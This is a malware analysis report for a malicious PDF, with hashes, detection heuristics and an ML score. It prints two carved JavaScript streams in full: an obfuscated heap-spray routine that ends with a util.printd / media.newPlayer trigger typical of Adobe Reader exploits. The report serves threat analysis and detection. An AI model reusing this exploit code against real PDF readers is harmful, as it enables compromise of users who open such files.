Malicious PDF — malware analysis report

Static analysis result for SHA-256 23cc483f33023eec…

MALICIOUS

PDF

1.6 KB First seen: 2026-05-11
MD5: d50f78b130eca1e11cda8ba5a0a5d6d5 SHA-1: 3e60856f82a36e94f5d601c50252f7ed3f392a80 SHA-256: 23cc483f33023eeccf1750818615127d35585334aeeb0a178e654d766f50ead4
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream is obfuscated, as suggested by the PDF_UNESCAPE heuristic and the 'Script obfuscation indicators' signal. The primary function of the script appears to be obfuscation and execution of further code, likely to download and run a second-stage payload. The specific intent is difficult to determine due to the obfuscation, but the presence of JavaScript in a PDF is a common delivery mechanism for malware.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb = unescape("");
var yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM = unescape("%u3727%u27f5");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 5

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0x167 1025 bytes
SHA-256: 81228f7fb465e5fdd8eb0f874e5499f86e18bbb7c2e4608cb611516e40898884
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb = unescape("");
var yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM = unescape("%u3727%u27f5");

while(yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.length <= 32768) yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM+=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM;
yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.substring(0,32768 - WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM + WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb;
	i++;
}

util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {var obj = this.media;obj["new"+"Player"](null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
javascript_obj0006_001.js pdf-javascript-stream PDF /JS object 6 at offset 0x18A 1249 bytes
SHA-256: 1e7a8774a462a4935aeec94cb23d6eb1b534558a512d5ad816a9db0e01ded8c3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb = unescape("");
var yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM = unescape("%u3727%u27f5");

while(yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.length <= 32768) yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM+=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM;
yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.substring(0,32768 - WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM + WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb;
	i++;
}

util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {var obj = this.media;obj["new"+"Player"](null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());

endstream 
endobj xref
0 7
0000000000 65535 f 
0000000015 00000 n 
0000000100 00000 n 
0000000297 00000 n 
0000000148 00000 n 
0000000207 00000 n 
0000000359 00000 n 
trailer

<<
/Root 1 0 R
/Size 7
>>
startxref
2689
%%EOF

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